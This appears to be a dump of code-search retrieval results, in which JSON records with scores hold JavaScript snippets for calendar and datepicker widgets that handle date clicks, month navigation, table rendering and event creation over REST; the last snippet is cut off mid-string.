{ "docid": "255824633b17d95b6aadf80bb12cc08f", "score": "0.5922227", "text": "function selected(cal, date) {\r\n cal.sel.value = date; // just update the date in the input field.\r\n \r\n if (cal.dateClicked )\r\n cal.callCloseHandler();\r\n}", "title": "" }, { "docid": "255824633b17d95b6aadf80bb12cc08f", "score": "0.5922227", "text": "function selected(cal, date) {\r\n cal.sel.value = date; // just update the date in the input field.\r\n \r\n if (cal.dateClicked )\r\n cal.callCloseHandler();\r\n}", "title": "" }, { "docid": "255824633b17d95b6aadf80bb12cc08f", "score": "0.5922227", "text": "function selected(cal, date) {\r\n cal.sel.value = date; // just update the date in the input field.\r\n \r\n if (cal.dateClicked )\r\n cal.callCloseHandler();\r\n}", "title": "" }, { "docid": "015ea73c2e3e16e8634e33eca4308cdf", "score": "0.59199363", "text": "function addWeekDoubleClickEffect() {\n $('.weekdays').on(\"click\", function() {\n if ($(this).hasClass('selected')) { //then go to day view\n $('.tabs').removeClass('active'); \n $('#dayTab').toggleClass('active'); \n\n currentView = 'day';\n getCalendar(selectedDateObj, currentView);\n } \n else {\n var dateId = $(this).attr(\"id\");\n var dateArray = dateId.split(\"-\"); //retrieve and split up date id of clicked element\n\n $('.weekdays').removeClass('selected'); //remove any selected class elements\n $(this).toggleClass('selected'); //add selected classto clicked element\n selectedDateObj = new Date(dateArray[0], dateArray[1], dateArray[2]);\n } \n });\n}", "title": "" }, { "docid": "ff270ea8139fd0564a9db2fc7425e738", "score": "0.5918739", "text": "function AgregarEventoTabla(){\t\n\t//Funcion de Click para cada td \t\n \t$('#TablaCalendario td').click(function(){\t\t\n\t\tvar $this = $(this); // this is just for performance\n\t\t$('td.Seleccionado').attr('id', 'normal');\n\t\t$('td.Seleccionado').removeClass('Seleccionado');\t\t\n\t\t$this.addClass('Seleccionado');\n\t\t$this.attr('id', 'actual');\t\t\n\t\tvar elementFechaSeleccionada = dom.getElementById(\"lblFechaSeleccionada\");\n\t\tvar diaSeleccionado = dom.getElementById(\"actual\");\t\t\n\t\telementFechaSeleccionada.innerHTML = selectedYear + \" / \" + selectedMonth + \" / \" + diaSeleccionado.innerHTML;\n\t\tselectedDay = diaSeleccionado.innerHTML;\n\t});\n}", "title": "" }, { "docid": "dfa46464eba9d428d3cf679fd581180a", "score": "0.589538", "text": "function loadMonth(e, el, datepicker, chosendate) {\n // reference our years for the nextMonth and prevMonth buttons\n var mo = jQuery(\"select[name=month]\", datepicker).get(0).selectedIndex;\n var yr = jQuery(\"select[name=year]\", datepicker).get(0).selectedIndex;\n var yrs = jQuery(\"select[name=year] option\", datepicker).get().length;\n\n // first try to process buttons that may change the month we're on\n if (e && jQuery(e.target).hasClass('prevMonth')) {\n if (0 == mo && yr) {\n yr -= 1; mo = 11;\n jQuery(\"select[name=month]\", datepicker).get(0).selectedIndex = 11;\n jQuery(\"select[name=year]\", datepicker).get(0).selectedIndex = yr;\n } else {\n mo -= 1;\n jQuery(\"select[name=month]\", datepicker).get(0).selectedIndex = mo;\n }\n } else if (e && jQuery(e.target).hasClass('nextMonth')) {\n if (11 == mo && yr + 1 < yrs) {\n yr += 1; mo = 0;\n jQuery(\"select[name=month]\", datepicker).get(0).selectedIndex = 0;\n jQuery(\"select[name=year]\", datepicker).get(0).selectedIndex = yr;\n } else {\n mo += 1;\n jQuery(\"select[name=month]\", datepicker).get(0).selectedIndex = mo;\n }\n }\n\n // maybe hide buttons\n if (0 == mo && !yr) jQuery(\"span.prevMonth\", datepicker).hide();\n else jQuery(\"span.prevMonth\", datepicker).show();\n if (yr + 1 == yrs && 11 == mo) jQuery(\"span.nextMonth\", datepicker).hide();\n else jQuery(\"span.nextMonth\", datepicker).show();\n\n // clear the old cells\n var cells = jQuery(\"tbody td\", datepicker).unbind().empty().removeClass('date');\n\n // figure out what month and year to load\n var m = jQuery(\"select[name=month]\", datepicker).val();\n var y = jQuery(\"select[name=year]\", datepicker).val();\n var d = new Date(y, m, 1);\n var startindex = d.getDay();\n var numdays = monthlengths[m];\n\n // http://en.wikipedia.org/wiki/Leap_year\n if (1 == m && ((y % 4 == 0 && y % 100 != 0) || y % 400 == 0)) numdays = 29;\n\n // test for end dates (instead of just a year range)\n if (opts.startdate.constructor == Date) {\n var startMonth = opts.startdate.getMonth();\n var startDate = opts.startdate.getDate();\n }\n if (opts.enddate.constructor == Date) {\n var endMonth = opts.enddate.getMonth();\n var endDate = opts.enddate.getDate();\n }\n\n // walk through the index and populate each cell, binding events too\n for (var i = 0; i < numdays; i++) {\n\n var cell = jQuery(cells.get(i + startindex)).removeClass('chosen');\n\n // test that the date falls within a range, if we have a range\n if (\n\t\t\t\t\t(yr || ((!startDate && !startMonth) || ((i + 1 >= startDate && mo == startMonth) || mo > startMonth))) &&\n\t\t\t\t\t(yr + 1 < yrs || ((!endDate && !endMonth) || ((i + 1 <= endDate && mo == endMonth) || mo < endMonth)))) {\n\n cell\n\t\t\t\t\t\t.text(i + 1)\n\t\t\t\t\t\t.addClass('date')\n\t\t\t\t\t\t.hover(\n\t\t\t\t\t\t\tfunction () { jQuery(this).addClass('over'); },\n\t\t\t\t\t\t\tfunction () { jQuery(this).removeClass('over'); })\n\t\t\t\t\t\t.click(function () {\n\t\t\t\t\t\t var chosenDateObj = new Date(jQuery(\"select[name=year]\", datepicker).val(), jQuery(\"select[name=month]\", datepicker).val(), jQuery(this).text(), jQuery(\"select[name=hour]\", datepicker).val() || 0, jQuery(\"select[name=minute]\", datepicker).val() || 0, jQuery(\"select[name=second]\", datepicker).val() || 0);\n\t\t\t\t\t\t closeIt(el, datepicker, chosenDateObj);\n\t\t\t\t\t\t});\n\n // highlight the previous chosen date\n if (i + 1 == chosendate.getDate() && m == chosendate.getMonth() && y == chosendate.getFullYear()) cell.addClass('chosen');\n }\n }\n }", "title": "" }, { "docid": "e942e3176fce229a01f416584a5b13bf", "score": "0.5885255", "text": "function dateSelected(obj) {\n\tvar monthOutputTemp = obj.getAttribute('month');\n\tvar monthOutput = parseInt(monthOutputTemp);\n\tvar yearOutput = obj.getAttribute('year');\n\tdocument.getElementById('dateSelected').value = obj.innerHTML + '/' + (monthOutput) + '/' + yearOutput;\n\tdocument.getElementById('calendar').style.display = 'none';\n}", "title": "" }, { "docid": "ab42f0733eb65683d60fc927aafbf0f0", "score": "0.5869648", "text": "_renderCalendar(){\n return html`\n\n <tr class = \"days\">\n ${this.daysinweek.map( (day) => html`<th> ${day} </th>`)}\n </tr>\n \n ${this.tableNames.map ( (name, i) => html `\n <tr class = \"${name}\">${this.datesArray[i] ? \n this.datesArray[i].map( (fill) => html`\n <td id=\"_${fill.date}_${fill.month}_${fill.year}\" month=\"${fill.month}\" ?selected = \"${this.highlightFlag(fill)}\" ?nextmonth =\"${this.nextMonthFlag(fill)}\" \n ?prevmonth=\"${this.prevMonthFlag(fill)}\" @click=\"${ (b) => this.highlightSelected(fill)}\"> ${fill.date} </td>`) : ''} \n </tr>`)}\n\n `\n }", "title": "" }, { "docid": "487790ec202ee1974dfccb2001fbe953", "score": "0.5859494", "text": "function handleDateClick(dateItem) {\n if (!isSelectingRef.value) {\n isSelectingRef.value = true;\n memorizedStartDateTimeRef.value = dateItem.ts;\n changeStartEndTime(dateItem.ts, dateItem.ts, 'done');\n }\n else {\n isSelectingRef.value = false;\n const { value } = props;\n if (props.panel && Array.isArray(value)) {\n changeStartEndTime(value[0], value[1], 'done');\n }\n else {\n if (closeOnSelectRef.value && type === 'daterange') {\n if (updateValueOnCloseRef.value) {\n closeCalendar();\n }\n else {\n handleConfirmClick();\n }\n }\n }\n }\n }", "title": "" }, { "docid": "d59a1b75296141434b40a37448b2e756", "score": "0.5807072", "text": "function refreshDatePicker(dateFieldName, year, month, day)\n{\n // if no arguments are passed, use today's date; otherwise, month and year\n // are required (if a day is passed, it will be highlighted later)\n var thisDay = new Date();\n \n if ((month >= 0) && (year > 0)) {\n thisDay = new Date(year, month, 1);\n } else {\n day = thisDay.getDate();\n thisDay.setDate(1);\n }\n \n // the calendar will be drawn as a table\n // you can customize the table elements with a global CSS style sheet,\n // or by hardcoding style and formatting elements below\n var crlf = \"\\r\\n\";\n var TABLE = \"<table cols=7 class='dpTable'>\" + crlf;\n var xTABLE = \"</table>\" + crlf;\n var TR = \"<tr class='dpTR'>\";\n var TR_title = \"<tr class='dpTitleTR'>\";\n var TR_days = \"<tr class='dpDayTR'>\";\n var TR_todaybutton = \"<tr class='dpTodayButtonTR'>\";\n var xTR = \"</tr>\" + crlf;\n var TD = \"<td class='dpTD' onMouseOut='this.className=\\\"dpTD\\\";' onMouseOver=' this.className=\\\"dpTDHover\\\";' \"; // leave this tag open, because we'll be adding an onClick event\n var TD_title = \"<td colspan=5 class='dpTitleTD'>\";\n var TD_buttons = \"<td class='dpButtonTD'>\";\n var TD_todaybutton = \"<td colspan=7 class='dpTodayButtonTD'>\";\n var TD_days = \"<td class='dpDayTD'>\";\n var TD_selected = \"<td class='dpDayHighlightTD' onMouseOut='this.className=\\\"dpDayHighlightTD\\\";' onMouseOver='this.className=\\\"dpTDHover\\\";' \"; // leave this tag open, because we'll be adding an onClick event\n var xTD = \"</td>\" + crlf;\n var DIV_title = \"<div class='dpTitleText'>\";\n var DIV_selected = \"<div class='dpDayHighlight'>\";\n var xDIV = \"</div>\";\n \n // start generating the code for the calendar table\n var html = TABLE;\n \n // this is the title bar, which displays the month and the buttons to\n // go back to a previous month or forward to the next month\n html += TR_title;\n html += TD_buttons + getButtonCode(dateFieldName, thisDay, -1, \"&lt;\") + xTD;\n html += TD_title + DIV_title + monthArrayLong[ thisDay.getMonth()] + \" \" + thisDay.getFullYear() + xDIV + xTD;\n html += TD_buttons + getButtonCode(dateFieldName, thisDay, 1, \"&gt;\") + xTD;\n html += xTR;\n \n // this is the row that indicates which day of the week we're on\n html += TR_days;\n for(i = 0; i < dayArrayShort.length; i++)\n html += TD_days + dayArrayShort[i] + xTD;\n html += xTR;\n \n // now we'll start populating the table with days of the month\n html += TR;\n \n // first, the leading blanks\n for (i = 0; i < thisDay.getDay(); i++)\n html += TD + \"&nbsp;\" + xTD;\n \n // now, the days of the month\n do {\n dayNum = thisDay.getDate();\n TD_onclick = \" onclick=\\\"updateDateField('\" + dateFieldName + \"', '\" + getDateString(thisDay) + \"');\\\">\";\n \n if (dayNum == day)\n html += TD_selected + TD_onclick + DIV_selected + dayNum + xDIV + xTD;\n else\n html += TD + TD_onclick + dayNum + xTD;\n \n // if this is a Saturday, start a new row\n if (thisDay.getDay() == 6)\n html += xTR + TR;\n \n // increment the day\n thisDay.setDate(thisDay.getDate() + 1);\n } while (thisDay.getDate() > 1)\n \n // fill in any trailing blanks\n if (thisDay.getDay() > 0) {\n for (i = 6; i > thisDay.getDay(); i--)\n html += TD + \"&nbsp;\" + xTD;\n }\n html += xTR;\n \n // add a button to allow the user to easily return to today, or close the calendar\n var today = new Date();\n var todayString = \"Today is \" + dayArrayMed[today.getDay()] + \", \" + monthArrayMed[ today.getMonth()] + \" \" + today.getDate();\n html += TR_todaybutton + TD_todaybutton;\n html += \"<button class='dpTodayButton' onClick='refreshDatePicker(\\\"\" + dateFieldName + \"\\\");'>this month</button> \";\n html += \"<button class='dpTodayButton' onClick='updateDateField(\\\"\" + dateFieldName + \"\\\");'>close</button>\";\n html += xTD + xTR;\n \n // and finally, close the table\n html += xTABLE;\n \n document.getElementById(datePickerDivID).innerHTML = html;\n // add an \"iFrame shim\" to allow the datepicker to display above selection lists\n adjustiFrame();\n}", "title": "" }, { "docid": "4567000eaef1c0938d00cae19aa1b741", "score": "0.5806661", "text": "function clickExtended() {\n prevMonth = $(\".ui-datepicker-prev\");\n nextMonth = $(\".ui-datepicker-next\");\n if (!(prevMonth.hasClass(\"ui-state-disabled\"))) {\n prevMonth.click(function() {\n changeMonth(-1);\n });\n }\n if (!(nextMonth.hasClass(\"ui-state-disabled\"))) {\n nextMonth.click(function() {\n changeMonth(1);\n });\n }\n }", "title": "" }, { "docid": "484635223fedfeab71b354e3376689e8", "score": "0.5798769", "text": "selectDate(e, calMoment) {\n // Creates formatted date for display\n const { clickCount, updateDates, checkin } = this.props;\n const fullDate = this.createDate(e.target.innerHTML, calMoment);\n if (e.target.innerHTML !== ' ') {\n if (!this.isBooked(e.target.innerHTML, calMoment) && clickCount === 1) {\n updateDates(fullDate);\n } else if (!this.isBooked(e.target.innerHTML, calMoment) && clickCount === 2) {\n const checkinMoment = moment(checkin);\n const fullDateMoment = moment(fullDate);\n if (this.resDatesContinuous(fullDate) && fullDateMoment.isAfter(checkinMoment)) {\n updateDates(fullDate);\n }\n }\n }\n }", "title": "" }, { "docid": "fe11d5287f6b710caaa97621d9501975", "score": "0.57975316", "text": "function dateSelection(eventObj)\n{\n\thboxScroller.layoutAnimConfig=layoutConfig;\n\tif(eventObj.id==\"btnFromDatePicker\" && count==2)\n\t{\n\t\thboxScroller.removeAt(0, animationConfigDisable);\n\t\tcount=count-1;\n\t}\n\telse if(eventObj.id==\"btnToDatePicker\" && count==1){\n\t\thboxScroller.addAt(lblDummy2,-1,animationConfigEnable);\n\t\tcount=count+1;\n\t}\n\tbtnIdCal=eventObj.id;\n}", "title": "" }, { "docid": "c2562f1988aea3b54b3a0467acd3f4c4", "score": "0.5786736", "text": "function RenderView() {\n var nYear = oCalendar.nCurrentYear;\n var nMonth = oCalendar.nCurrentMonth;\n\n var nFirstDayOfMonth = getDayOfWeek(nYear, nMonth, 1);\n var nDaysInMonth = getDaysInMonth(nYear, nMonth);\n var nDate = 1;\n var nDayOfWeek = 1;\n\n document.getElementById('MonthNavigator').innerHTML = '<a class=\"Link\" href=\"javascript:void(0);\" OnClick=\"RenderMonthMenu(event);return false;\">' + aMonthName[nMonth - 1] + '</a>, <a Class=\"Link\" href=\"javascript:void(0);\" OnClick=\"RenderYearMenu(event);return false;\">' + nYear + '</a>';\n\n for (var i = 0; i <= 41; i++) {\n if ((i + 1) >= (nFirstDayOfMonth) && nDate <= nDaysInMonth) {\n if (nDayOfWeek == CALENDAR.Sunday)\n aMonth[i] = new CDateAtom(true,\"date\" + i,nDate,nDayOfWeek,\"red\",\"white\",false);\n else\n aMonth[i] = new CDateAtom(true,\"date\" + i,nDate,nDayOfWeek,\"black\",\"white\",false);\n\n if (oCalendar.nCurrentMonth == oCalendar.nSelectedMonth && oCalendar.nCurrentYear == oCalendar.nSelectedYear && oCalendar.nSelectedDate == nDate) {\n nSelectedIndex\t\t= i;\n aMonth[i].fSelected\t= true;\n }\n\n nDate++;\n } else\n aMonth[i] = new CDateAtom(false,\"date\" + i,\"&nbsp;\",null,\"white\",\"white\",false);\n\n nDayOfWeek++;\n if (nDayOfWeek > 7) nDayOfWeek = 1;\n\n RenderDateAtom(i);\n }\n}", "title": "" }, { "docid": "83bd05eae7ca701dc721cad643c4dcb0", "score": "0.5774743", "text": "function clickCalendarDate(evt) {\n setEventDate(evt);\n }", "title": "" }, { "docid": "31a6cf034f53c2b5ebb501e1e01b63fb", "score": "0.5765675", "text": "function date_click(event) {\n $(\".events-container\").show(250);\n $(\"#dialog\").hide(250);\n $(\".active-date\").removeClass(\"active-date\");\n $(this).addClass(\"active-date\");\n show_events(event.data.events, event.data.month, event.data.day);\n }", "title": "" }, { "docid": "bfc7db6854f1c5253dc9f507216f2d34", "score": "0.5762426", "text": "function setRow0(date){ // !! change month to showing month and keep track of that. \n const datesToShow = getDatesToShow(date)\n head1.innerText = datesToShow[0].toDateString()\n head2.innerText = datesToShow[1].toDateString()\n head3.innerText = datesToShow[2].toDateString()\n }", "title": "" }, { "docid": "2e86981105a1831fe1e3c425fb520fa0", "score": "0.5738016", "text": "function calGo(month,year) {\n\tdijit.byId(\"calendarPane\").setHref('/events/acalendar/month/' + month + '/year/' + year + '/');\n}", "title": "" }, { "docid": "611e1970994d41845a881cb550316d3d", "score": "0.5734468", "text": "function handleDateChange(date) {\n setSelectedDate(date);\n}", "title": "" }, { "docid": "29a8b8502e8ecf6794114b8f7a4c0cd1", "score": "0.57134914", "text": "function Calendar(date = false) {\n\n const today = date === false ? new Date() : date;\n // container (cache) for fetched calendar events\n const eventContainer = new EventContainer();\n\n let selectedDayElem;\n\n eventTable.setEventContainer(eventContainer);\n\n\n\n Object.freeze(today);\n // this date reflects the clicked day\n let currentDate = dateTools.copy(today);\n\n\n /**\n * Update the selected date elem and the table\n * @param event (ES event)\n */\n const updateSelectedDayData = function (event) {\n // update the old and new selected day element\n\n if (selectedDayElem) {\n selectedDayElem.style.backgroundColor = \"\";\n }\n selectedDayElem = event.currentTarget;\n selectedDayElem.style.backgroundColor = \"lightgray\";\n\n eventTable.clear();\n eventTable.fillDetails(selectedDayElem, currentDate);\n };\n\n function ungraySelectedDay() {\n if (typeof selectedDayElem !== \"undefined\") {\n selectedDayElem.style.backgroundColor = \"\";\n }\n }\n\n /**\n * called after the time element value changes\n */\n function updateDatetimeValue() {\n\n let dateTimeElem = document.getElementById(\"datetime\");\n\n let dateValue = document.getElementById(\"date\").value;\n let timeValue = document.getElementById(\"time\").value;\n\n if (dateValue && timeValue) {\n dateTimeElem.value = \"\" + dateValue + \"T\" + timeValue;\n }\n\n }\n\n /**\n * return a Date which points to the day 1\n * @param {Date} date\n * @returns {Date}\n */\n function getFirstCalendarDate(date) {\n let date2 = dateTools.copy(date);\n date2.setDate(1);\n date2.setHours(-24 * ((date2.getDay() + 6) % 7));\n return date2;\n }\n\n\n /**\n * adds the date numbers to table cells\n */\n function setMonthDates(date) {\n let now = getFirstCalendarDate(date);\n let days = document.getElementsByClassName(\"day\");\n for (let i = 0; i < days.length; i++) {\n days[i].innerHTML = now.getDate().toString();\n now.setHours(24); // increases current date by 24h\n }\n }\n\n\n function grayOutIrrelevantDays(date) {\n\n let days = document.getElementsByClassName(\"day\");\n\n for (let i = 0; i < days.length; i++) {\n days[i].style.color = \"lightgray\";\n }\n\n days = getMonthDateElements(date);\n for (let i = 0; i < days.length; i++) {\n days[i].style.color = \"black\";\n }\n }\n\n function setDefaultSelectedDay() {\n ungraySelectedDay();\n let days = getMonthDateElements(currentDate);\n days[0].style.backgroundColor = \"lightgray\";\n selectedDayElem = days[0];\n }\n\n\n /**\n * @param Date currentDate chosen date by the user\n */\n function decorateToday(today, currentDate) {\n // show today only if in correct month\n if (today.getMonth() === currentDate.getMonth() &&\n today.getFullYear() === currentDate.getFullYear()) {\n let days = getMonthDateElements(currentDate);\n let day = days[today.getDate() - 1];\n day.closest(\"td\").style.backgroundColor = \"#f8e5ab\";\n } else { // remove the existing decoration\n let days = getMonthDateElements(today);\n let day = days[today.getDate() - 1];\n day.closest(\"td\").style.backgroundColor = \"\";\n }\n }\n\n function monthName(date) {\n let names = [\"Jan\", \"Feb\", \"Mar\", \"Apr\",\n \"May\", \"Jun\", \"Jul\", \"Aug\",\n \"Sep\", \"Oct\", \"Nov\", \"Dec\"];\n return names[date.getMonth()];\n }\n\n function addEventListeners() {\n\n // remove old click listeners\n let allDays = document.getElementsByClassName(\"day\");\n for (let i = 0; i < allDays.length; i++) {\n allDays[i].removeEventListener(\"click\", updateSelectedDayData, true);\n allDays[i].style.cursor = \"\";\n allDays[i].dateindex = undefined;\n }\n\n // set current click listeners\n let monthDays = getMonthDateElements(currentDate);\n for (let i = 0; i < monthDays.length; i++) {\n monthDays[i].addEventListener(\"click\", updateSelectedDayData, true);\n monthDays[i].style.cursor = \"pointer\";\n // this value is used to set the date correctly in the modal dialog\n monthDays[i].dateindex = i + 1;\n }\n\n // update datetime input value when hours or minutes change\n function addChangeListeners() {\n let timeElem = document.getElementById(\"time\");\n timeElem.addEventListener(\"change\", updateDatetimeValue, true);\n }\n\n addChangeListeners();\n\n }\n\n\n /**\n * update the calendar logic to reflect the selected month\n * @param int offset\n */\n function updateMonth(offset = 0) {\n let newMonth = currentDate.getMonth() + offset;\n currentDate.setMonth(newMonth);\n setMonthDates(currentDate);\n grayOutIrrelevantDays(currentDate);\n setDefaultSelectedDay();\n decorateToday(today, currentDate);\n document.getElementById(\"month\").innerText = monthName(currentDate);\n document.getElementById(\"year\").innerText = currentDate.getFullYear();\n addEventListeners();\n removeAllEventDayDecorations();\n fetchMonthEventsAndDecorateDays(currentDate, eventContainer);\n\n function removeAllEventDayDecorations() {\n let days = document.getElementsByClassName(\"day\");\n for (let i = 0; i < days.length; i++) {\n days[i].style.borderBottom = \"\";\n }\n }\n\n /**\n * create a collection name for uploaded file(s)\n */\n function addUploadFileNames() {\n let uploadElem = document.getElementById(\"upload\");\n uploadElem.addEventListener(\"change\", function (event) {\n let elem = event.srcElement;\n let names = [];\n for (let i = 0; i < elem.files.length; i++) {\n names.push(elem.files[i].name);\n }\n let name = names.reduce((acc, curr) => acc + \", \" + curr);\n\n document.getElementById(\"filenames\").innerHTML = name;\n\n });\n }\n\n addUploadFileNames();\n }\n\n function createDialogButtonListeners() {\n\n $(\"#clearbutton\").on(\"click\", function () {\n eventEditor.clear();\n });\n\n $(\"#createbutton\").on(\"click\", function () {\n\n let formdata = {};\n\n let inputs = $(\"#tournamentdata *[name]\");\n\n $(inputs).each(function (index, element) {\n let name = $(element).prop(\"name\");\n formdata[name] = $(element).val();\n });\n\n formdata = eventEditor.getFormData();\n\n /**\n * create tournament and set the relation if success\n * @param calendarEventData server REST response\n */\n function calendarEventCreated(calendarEventData) {\n\n let calendarEventHref = calendarEventData._links.self.href;\n let calendarEventTourHref = calendarEventData._links.tournament.href;\n\n /**\n * bind a calendar event and tournament\n * @param data\n */\n function tournamentCreated(tournamentData) {\n let tournamentHref = tournamentData._links.self.href;\n let tournamentCalendarEventHref = tournamentData._links.calendarEvent.href;\n\n // add calendar event to the container\n // show notification\n // mark the day for new event\n // add event id to the modal dialog\n function ok() {\n eventEditor.showCreationOk();\n eventContainer.add(calendarEventData);\n let eventDate = new Date(calendarEventData.start);\n let dayElem = getMonthDateElements(eventDate)[eventDate.getDate() - 1];\n dayElem.style.borderBottom = \"solid 3px red\";\n let helper = new EventContainer();\n $(\"#eventid\").prop(\"value\", helper.getEventId(calendarEventData));\n eventTable.clear();\n eventTable.fillDetails(selectedDayElem, currentDate);\n }\n\n function failed() {\n alert(\"bind failed\");\n }\n\n // two sided:\n rest.addRelation(tournamentCalendarEventHref, calendarEventHref, () => {\n }, failed);\n rest.addRelation(calendarEventTourHref, tournamentHref, ok, failed);\n }\n\n /**\n * handle failed binding\n */\n function tournamentCreationFailed() {\n alert(\"tournament and calendar event relation creation failed\");\n }\n\n // 2. create a tournament\n rest.post({}, tournamentCreated, tournamentCreationFailed, rest.tournamentsURL);\n\n // data._links.{self, calendarEvent, tournament}.href\n // let owner = data._links.calendarEvent.href;\n // let mapped = data._links.tournament.href;\n // let tourId =\n // rest.addRelation(owner, mapped)\n\n }\n\n function calendarEventCreationFailed() {\n alert(\"calendar event creation failed\");\n }\n\n // 1. create a calendar event\n // 2. create a tournament\n // 3. add the entities to 1-1 relation\n // TODO: handle errors if any step fails\n\n // create a calendar event\n rest.post(formdata, calendarEventCreated, calendarEventCreationFailed, rest.calendarEventsURL);\n });\n\n $(\"#updatebutton\").on(\"click\", function () {\n const id = eventEditor.getId();\n if (id) {\n\n let formData = eventEditor.getFormData();\n let event = eventContainer.get(id);\n\n if (event) {\n rest.update(event._links.self.href, formData,\n (newEventData) => {\n eventContainer.delete(id);\n eventContainer.add(newEventData);\n eventEditor.showUpdateOk();\n eventTable.reload();\n },\n eventEditor.showUpdateFailed);\n }\n }\n });\n\n $(\"#deletebutton\").on(\"click\", function () {\n // TODO 1. remove event from eventContainer\n // TODO 2. remove decorations only if there is only one event in the day\n // TODO 3. remove CalendarEvent and Tournament bindings\n // TODO 4. remove previous entities\n // 5. remove PBN files?\n // 6. if PBN files are removed also possible master points should be removed\n // 7. if 5-6 are done create a log message who removed PBN files\n // 8. probably it is best to leave PBN and MP handling to own view\n\n // delete currently both calendarEvent and tournament\n // TODO: add master point removal if needed and when possible\n\n const id = eventEditor.getId();\n\n if (!id){\n return;\n }\n\n\n const event = eventContainer.get(id);\n const eventSelfUrl = event._links.self.href;\n const eventTourUrl = event._links.tournament.href;\n\n\n rest.get(event._links.tournament.href, (tourData) => {\n\n const tourSelfUrl = tourData._links.self.href;\n const tourEventUrl = tourData._links.calendarEvent.href;\n\n rest.delete(eventTourUrl, () => {\n rest.delete(tourEventUrl, () => {\n rest.delete(eventSelfUrl, () => {\n rest.delete(tourSelfUrl, () => {\n let id = eventEditor.getId();\n let event = eventContainer.get(id);\n let count = eventContainer.getEventsByDate(event.start).length;\n\n eventEditor.showDeleteOk();\n\n eventTable.clear();\n if (count < 2) {\n eventContainer.delete(id);\n decoration.unmarkEventDay(selectedDayElem);\n } else {\n eventTable.fillDetails(selectedDayElem, event.start);\n }\n });\n });\n });\n });\n });\n\n });\n\n // open the dialog for editing\n document.getElementById(\"addEvent\").addEventListener(\"click\", function () {\n let date = dateTools.copy(currentDate);\n date.setDate(selectedDayElem.dateindex);\n let iso = `${date.getFullYear()}-${date.getMonth() + 1}-${date.getDate()}T00:00:00`;\n\n eventEditor.hideAlerts();\n eventEditor.clear();\n eventEditor.show();\n\n // add a date picker\n let dateTimeElem = document.getElementById(\"datetime\");\n dateTimeElem.value = date.toISOString();\n $(\"#date\").flatpickr({\n clickOpens: true,\n time_24hr: true,\n dateFormat: \"Y-m-d\",\n altInput: true,\n altFormat: \"d.m.Y\",\n enableTime: false,\n locale: {\n \"firstDayOfWeek\": 1 // start week on Monday\n },\n onValueUpdate: function (selectedDates, dateStr) {\n document.getElementById(\"datetime\").value = dateStr;\n },\n defaultDate: iso,\n });\n });\n }\n\n /**\n * handle event table row clicks\n */\n function addEventRowClickListeners() {\n\n let elems = document.getElementsByClassName(\"eventRow\");\n for (let elem of elems) {\n elem.addEventListener(\"click\", function (event) {\n let eventId = event.currentTarget.eventid;\n if (eventId) { // this is updated every time user clicks a new day\n let dayEvent = eventContainer.get(eventId);\n eventEditor.fill(dayEvent, eventId);\n eventEditor.show();\n }\n });\n }\n\n }\n\n function addCheckboxListener() {\n $(\"#masterPointCheck\").on(\"click\", function () {\n let value = $(this).prop(\"value\");\n $(this).prop(\"value\", !value);\n });\n }\n\n document.getElementById(\"month-prev\").addEventListener(\"click\", function () {\n updateMonth(-1);\n });\n document.getElementById(\"month-next\").addEventListener(\"click\", function () {\n updateMonth(1);\n });\n\n addEventRowClickListeners();\n\n updateMonth();\n createDialogButtonListeners();\n addCheckboxListener();\n }", "title": "" }, { "docid": "c9789aed228a9ac2ca285d6b10bf0c1b", "score": "0.57123965", "text": "function popTable(bdate, first, weekday){\nvar text = \" \"\nvar date = bdate.getDate()\n\n if (first == true){\n for(i=0; i < weekday; i++){\n text = text + \"<td class='CalTbl'></td>\"\n }\n }\n\n if (bdate.getDate() < 10 ){\n date = \"&nbsp;\" + bdate.getDate()\n }\n \n var mdy = (bdate.getMonth() + 1) + \"/\" + bdate.getDate() + \"/\" + bdate.getFullYear();\n text = text + \"<td class='CalTbl' id='tdDate' onClick='sentValue(&#39;\" + mdy + \"&#39;, this)'>\"\n + date + \"</td>\";\n MonDates[NumDates] = mdy;\n Closed[NumDates++] = false;\n\n return text;\n}", "title": "" }, { "docid": "94c1d9896496122b40018565ab36d8ac", "score": "0.57068825", "text": "function changeMonth() {\n\t$('.nav').on('click', 'div', function(e) {\n\t\tmonth = e.target.innerHTML;\n\t\tmonthNum = months.indexOf(month);\n\t\tcurrentMonthFruits = filterFruitList();\n\t\tformatDate();\n\t\tchangeBackgroundColor();\n\t\trenderFruitList();\n\t});\n}", "title": "" }, { "docid": "4719584ff90d21ba921feee3c608a026", "score": "0.5703554", "text": "function getCalendar(month, year, type='long') {\n\t$('#month')[0].innerHTML = monthName[month];\n\t$('#year')[0].innerHTML = year;\n\tvar d = new Date(year,month,1);\n\tvar day = d.getDay();\n\tvar totalDays = noOfDays(month,year);\n\tvar now = new Date();\n\tif(type=='long'){\n\tvar html = \"<tr class='day-names'>\";\n\tfor(var x = 0; x<7; x++){\n\t\tif(x==now.getDay() && month == now.getMonth() && year == now.getFullYear()) html += \"<th class='active-day'>\"+dayName[x]+\"</th>\";\n\t\telse html += \"<th>\"+dayName[x]+\"</th>\";\n\t}\n\t\t\t\n\t\thtml += \"</tr>\";\n\t}\n\telse{\n\t\tvar html = \"<tr class='day-names'>\\\n\t\t\t<th>Su</th>\\\n\t\t\t<th>Mo</th>\\\n\t\t\t<th>Tu</th>\\\n\t\t\t<th>We</th>\\\n\t\t\t<th>Th</th>\\\n\t\t\t<th>Fr</th>\\\n\t\t\t<th>Sa</th>\\\n\t\t</tr>\";\n\t}\n\tfor(var i = 0; i<6; i++){\n\t\thtml += \"<tr>\";\n\t\tfor(var j = i*7; j< (i+1)*7;j++){\n\t\t\tif(j<day){\n\t\t\t\tvar date = new Date(year, month, 1);\n\t\t\t\thtml += \"<td>\"+relativeDate(date,j-day+1)+\"</td>\";\n\t\t\t}\n\t\t\telse if(j<totalDays+day){\n\t\t\t\tif(type=='long'){\n\t\t\t\t\tif(j-day+1 == now.getDate() && month == now.getMonth() && year == now.getFullYear()){\n\t\t\t\t\t\thtml += \"<td id='\"+new Date(year, month, j-day+1).toLocaleDateString('en-US')+\"'\\\n\t\t\t\t\t\tclass='date month-theme today'><div>\"+ (j-day+1) +\"</div><div class='popup-cont'></div>\\\n\t\t\t\t\t\t<div class='events-list'></div>\\\n\t\t\t\t\t\t</td>\";\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\thtml += \"<td id='\"+new Date(year, month, j-day+1).toLocaleDateString('en-US')+\"'\\\n\t\t\t\t\t\tclass='date month-theme'><div>\"+ (j-day+1) +\"</div><div class='popup-cont'></div>\\\n\t\t\t\t\t\t<div 